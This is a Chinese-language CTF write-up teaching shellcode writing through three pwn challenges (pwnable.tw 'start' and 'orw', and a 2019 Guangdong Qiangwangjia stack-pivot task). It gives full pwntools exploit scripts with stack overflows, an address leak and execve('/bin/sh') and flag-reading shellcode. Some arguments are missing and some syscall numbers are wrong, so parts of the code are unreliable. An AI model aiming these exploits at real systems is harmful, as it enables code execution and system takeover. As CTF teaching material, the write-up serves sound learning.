简单shellcode学习
- NX(堆栈不可执行)保护
- shellcode(一段16进制的数据,转化为字符串则为汇编代码)
push esp #将esp寄存器的值压入栈中,这里可以获得栈的地址
push offset _exit #将_exit函数地址压入栈中,使得start函数执行完毕时返回exit函数
xor eax, eax #清空eax寄存器的值
xor ebx, ebx #清空ebx寄存器的值
xor ecx, ecx #清空ecx寄存器的值
xor edx, edx #清空edx寄存器的值
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch #压入一堆字符串,即程序运行时的字符串,Let's start the CTF:
mov ecx, esp ; addr,将字符串的地址放入ecx寄存器中
mov dl, 14h ; len,将打印长度放进dl寄存器中,即16位寄存器
mov bl, 1 ; fd,1为文件描述符,指的是屏幕
mov al, 4 #eax寄存器,存放的是调用号,4调用号即,write函数
int 80h ; LINUX - sys_write,int 0x80调用80中断
xor ebx, ebx #清空ebx寄存器,0为文件描述符,即外部输入,例如键盘
mov dl, 3Ch #输入的长度 0x3c
mov al, 3 #3调用号,即read函数
int 80h ; LINUX -
add esp, 14h #恢复栈平衡,因为压入字符串消耗了0x14的栈空间,使用完毕后需要换远
retn #返回
函数调用表
- 程序开始将esp的值压入栈中,可以获得栈的地址
- 由于程序没有限制输入,因此有栈溢出漏洞,可以修改程序执行的流程
mov ecx, esp ; addr,将字符串的地址放入ecx寄存器中
mov dl, 14h ; len,将打印长度放进dl寄存器中,即16位寄存器
mov bl, 1 ; fd,1为文件描述符,指的是屏幕
mov al, 4 #eax寄存器,存放的是调用号,4调用号即,write函数
int 80h ; LINUX - sys_write,int
0xffffd12c —▸ 0xffffd130
#因为push esp,会使得esp的值减4,因此此时的esp指针指向的内容是旧的esp指针,这点需要注意
sh.recvuntil("Let's start the CTF:")
payload = 'a'*20 + p32(0x8048087)#mov ecx,esp的地址
#attach(sh)
sh.send(payload)
esp = u32(sh.recv(4))
print 'esp:'+hex(esp)
返回栈地址,执行shellcode
shellcode
c语言表示:execve("/bin/sh\x00",0,0)
汇编代码:
mov eax,0xb #将调用号设置为0xb,即函数execve的调用号
xor edx,edx #清空edx寄存器,因为execve的函数edx的值为0
xor ecx,ecx #清空ecx寄存器,因为execve的函数ecx的值为0
push 0x0068732f #\x00hs/
push 0x6e69622f #nib/,小端模式需要反着压入栈中
mov ebx,esp #将字符串的地址传递给ebx
int 0x80 #调用80中断
16进制表示:
利用pwntools库里的asm()函数,将汇编代码以16进制的表示形式输入
可以看到简单的shellcode编写需要对照着系统调用号的表,挑取你需要的函数,然后对照着表将参数输入到对应的寄存器,继而调用80中断实现调用函数。
payload1 = 'a'*20+p32(esp+20)#该返回地址需要自己去调试看看自己shellcode的起始地址,算出与泄露出的栈顶地址的偏移即可
payload = asm("mov eax,0xb")
payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx")
payload += asm("push 0x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payload1+payload)
完整的exp
from pwn import * context(arch='i386',os='linux')
sh = process("./start")
#sh = remote("node3.buuoj.cn",29479)
sh.recvuntil("Let's start the CTF:")
payload = 'a'*20 + p32(0x8048087)
#attach(sh)
sh.send(payload)
esp = u32(sh.recv(4))
print 'esp:'+hex(esp)
payload1 = 'a'*20+p32(esp+20)
payload = asm("mov eax,0xb")
payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx")
payload += asm("push 0x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payload1+payload)
sh.interactive()
pwnable之orw
- 首先程序禁用了execve系统调用,只开放了open,read,以及write的系统调用,意义很明确,是让我们将flag都出来,而不是取得目标机器的shell
fd = open("/home/orw/flag","w");//首先打开文件
read(fd,buf,0x20);//读取文件的信息,放入到局部变量buf中
write(,buf,0x20);//将变量buf的内容打印出来,这里的足够打印出flag的长度即可,由于不知道flag的具体长度可以设置为长一点
#首先对照伪C代码以及系统调用表进行shellcode的编写
fd = open("/home/orw/flag","w")
#相应的汇编
xor ecx,ecx #清空ecx寄存器,open的调用该寄存器的值设为null
xor edx,edx #清空edx寄存器,open的调用该寄存器的值设为null
mov eax,0x5 #调用号设置为5
push 0x006761 #将/home/orw/flag压入栈中,注意是栈是先进后出,因此字符串需要从最末尾开始压入即将字符
push 0x6c662f77 #转为16进制要反向排序,并且字符串需要添加截断符\x00,push要以4字节为单位。
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp #fd的值为路径的地址
int 0x80 #调用80中断,实现系统调用 #c语言
read(fd,buf,0x20)或read(,buf,0x20)#这里的3为其他文件描述符,下面会详细介绍
#相应的汇编
mov eax,0x4
mov ebx,0x3 #这里用3代替了oepn返回的fd指针,因为3可以用作于打开文件时的文件描述符,若想用open返回的指针则应该将系统调用号移动到eax寄存器前,先保存eax的内容。
mov ecx,esp #将esp作为临时变量buf的地址
mov edx,0x20 #读入的长度为0x20
int 0x80 #调用80中断,实现系统调用 #c语言
write(,buf,0x20)
#相应的汇编
mov eax,0x3#系统调用号0x3
mov ebx,0x1#文件描述符为1,指向屏幕
mov ecx,esp #将esp作为临时变量buf的地址
mov edx,0x20 #打印的字符串的长度
int 0x80 #调用80中断,实现系统调用 #这里可以用pwntools库的一个函数代替,shellcraft
c语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag"))
c语言:read(,buf,0x20)<==> 汇编:asm(shellcraft.read(,"esp",0x20)
c语言:write(,buf,0x20)<==>汇编:asm(shellcraft.write(,"esp",0x20))
文件描述符
- 0代表标准输入流,stdin
- 1代表标准输出流,stdout
- 2代表标准错误流,stderr
- 当打开一个新的文件时,它的文件描述符为3
from pwn import *
context(log_level='debug',arch='i386',os='linux')
#sh = remote("node3.buuoj.cn",)
sh = remote("chall.pwnable.tw",)
sh.recvuntil("shellcode:") payload = asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read(,"esp",))
payload += asm(shellcraft.write(,"esp",))
sh.sendline(payload) sh.interactive()
from pwn import * context(arch='i386',os='linux')
#sh = remote("node3.buuoj.cn",)
sh = remote("chall.pwnable.tw",)
sh.recvuntil("shellcode:")
payload = asm("xor ecx,ecx")
payload += asm("xor edx,edx")
payload += asm("mov eax,0x5")
payload += asm("push 0x006761")
payload += asm("push 0x6c662f77")
payload += asm("push 0x726f2f65")
payload += asm("push 0x6d6f682f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80") payload += asm("mov eax,0x3")
payload += asm("mov ebx,0x3")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x20")
payload += asm("int 0x80") payload += asm("mov eax,0x4")
payload += asm("mov ebx,0x1")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x2")
payload += asm("int 0x80") sh.sendline(payload)
sh.interactive()
2019广东强网杯线下题目
- 程序存在栈溢出的漏洞,但是溢出的字节数较少,只能刚好溢出返回地址
- 程序可以利用栈溢出覆盖变量v11的值,从而泄露buf的地址
- 这道题我们用另一种思路,在栈上写栈转移的汇编代码,将栈转移到.bss段中,在向.bss段写入shellcode,需要注意的是该题是64位,而64位的系统调用号与32位不同。
汇编代码分析
payload = asm("mov rax,0;") #系统调用号
payload += asm("mov rdi,0;")#文件描述符
payload += asm("mov rsi,0x601080")#.bss段地址,用于buf地址
payload += asm("mov rdx,0x40")#输入长度
payload += asm("syscall")#syscall启动调用
payload += asm("push 0x601080")#返回地址
payload += asm("ret")#ret指令返回任意地址
payload = payload.ljust(0x38,'b')
payload += p64(addr)
完整的exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
sh = process("./pwn")
sh.recvuntil(" your choice:")
sh.sendline("")
sh.recvuntil("What?")
payload = 'a'*0x28+p64()
sh.send(payload)
sh.recvuntil(" your choice:")
sh.sendline("")
sh.recvuntil("It is magic: [")
addr = int(sh.recv(),)
print 'addr:'+hex(addr)
sh.sendline("")
sh.recvuntil("What?")
payload = asm("mov rax,0;")
payload += asm("mov rdi,0;")
payload += asm("mov rsi,0x601080")
payload += asm("mov rdx,0x40")
payload += asm("syscall")
payload += asm("push 0x601080")
payload += asm("ret")
payload = payload.ljust(0x38,'b')
payload += p64(addr)
#attach(sh)
sh.send(payload)
payload = asm("mov eax,59") #调用59号系统调用,execve("/bin/sh",,);
payload += asm("xor rsi,rsi")
payload += asm("xor rdx,rdx")
payload += asm("mov rdi, 0x6010a8")
payload += asm("syscall")
payload = payload.ljust(0x28,'\x00')
payload += '/bin/sh\x00'
attach(sh)
sh.send(payload)
sh.interactive()
总结
- shellcode的编写的需要借助调用表,根据调用表的参数值,往对应的寄存器赋值
- start例题学会常用的系统调用execve("/bin/sh",0,0)的编写
- orw例题则学会读给定路径的内容,从而学习open,read,write系统调用的编写
- 广东强网杯这题则灵活利用栈可执行的条件,使用汇编实现栈转移,以及往指定地址写入内容。
简单shellcode学习的更多相关文章
- Linux简单编程学习心得
在Linux环境下简单编程学习心得 linux编程过程 在上周的<信息安全设计基础>的课程学习中学习到了在虚拟的linux环境下简单的编程.学习过程中接触到了vim.gcc和gcd在实验楼 ...
- 20145217《网络对抗》 MAL_简单后门学习总结
20145217<网络对抗> MAL_简单后门学习总结 实践内容: 1.netcat的应用 2.socat的应用 3.meterpreter的应用 知识点学习总结 后门程序一般是指那些绕过 ...
- TestNG简单的学习-TestNG运行
转载:http://topmanopensource.iteye.com/blog/1983735 TestNG简单的学习-TestNG运行 文档来自官方地址: http://testng.org/d ...
- 免杀手法-tcp套字节传递shellcode学习
免杀手法-tcp套字节传递shellcode学习
- 以最简单方式学习Linux
有很多关于Linux的书籍,博客.大多数都会比较"粗暴"的将一大堆的命令塞给读者,从而使很多.NET程序员望而却步.未入其门就路过了. 所以我设想用一种更为平滑的学习方式, 就是在 ...
- Spring.Net 简单入门学习
Spring.NET IoC容器的用法. 通过简单的例子学习Spring.Net 1.先创建一个控制台程序项目. 2.添加IUserInfoDal 接口. namespace Spring.Net { ...
- SDL 简单入门学习
write by 九天雁翎(JTianLing) -- blog.csdn.net/vagrxie 讨论新闻组及文件 概要 实际学习使用SDL创建窗体,并绘制图形. 前言 今天想要做一个简单的demo ...
- Python3实现简单可学习的手写体识别
0.目录 1.前言 2.通过pymssql与数据库的交互 3.通过pyqt与界面的交互 4.UI与数据库的交互 5.最后的main主函数 1.前言 版本:Python3.6.1 + PyQt5 + S ...
- Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用
100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...
随机推荐
- 关于adb命令的基本使用
在我们使用adb命令之前,我们要安装一个安卓模拟器(夜神.逍遥.海马王......),这里以夜神安卓模拟器为准(个人推荐,没用过可以使用夜神模拟器). 进入夜神安卓模拟器官网:https://www. ...
- mysql常见聚合函数
count():总数量avg():平均数std():标准差sum():求和max():最大值min():最小值 上面的不过多介绍group_concat():分组列值全部展示到一行eg:mysql&g ...
- ubuntu18.04安装qt时候的错误解决
在ubuntu系统下安装好qt5.5后启动qtceator时提示: Qt5.5.1/Tools/QtCreator/lib/qtcreator/plugins/libHelp.so: 无法加载库Qt5 ...
- 附022.Kubernetes_v1.18.3高可用部署架构一
kubeadm介绍 kubeadm概述 参考附003.Kubeadm部署Kubernetes. kubeadm功能 参考附003.Kubeadm部署Kubernetes. 本方案描述 本方案采用kub ...
- 【Java入门】JDK安装和环境变量配置(Win7版)
系统环境:Windows7 x64 安装JDK和JRE版本:1.8.0_191 1.下载JDK安装包 Oracle官网下载网址:https://www.oracle.com/technetwork/j ...
- skfpdb.db、cc3268.dll、system_V2.dat、JI60JS.dat文件内容、发票数据查询
cc3268.dll.skfpdb.db.xxxxx_V2.dat,system.dat,JI60JS.dat,log.dat,system_V2.dat,JI60JS_V2.dat,log_V2.d ...
- Android学习笔记使用Notication 显示通知
实现步骤 代码实现 创建MainActivity和DetailActivity(点击通知后要跳转的Activity),两个Activity的布局文件就是添加一张全屏的背景图,老规矩,不粘贴. Main ...
- 阿里云用smtp无法发送邮件
无法发送邮件是因为什么网络协议的要求必须要封掉25端口,而这个解封的话弄了很长时间也没有弄开,所以就换了别的方法 这个的话我这块用的是PHPMailer 然后我把这个PHPMailer的配置文件里的 ...
- c++逻辑与或非优先级
按优先级从高到低排列:!.&&.||,!的优先级最高,&&的优先级居中,||的优先级最低.
- 良心之作送你几个Xsheel使用小技巧
❝ 工作中无可避免的会使用到Xsheel,接下来咔咔给你介绍几个小技巧,让你工作游刃有余. ❞ 一.告别繁琐 你的Xsheel连接后是不是这样的 哦!这个也太烦了我至少得在敲俩次命令才能到我的工作目录 ...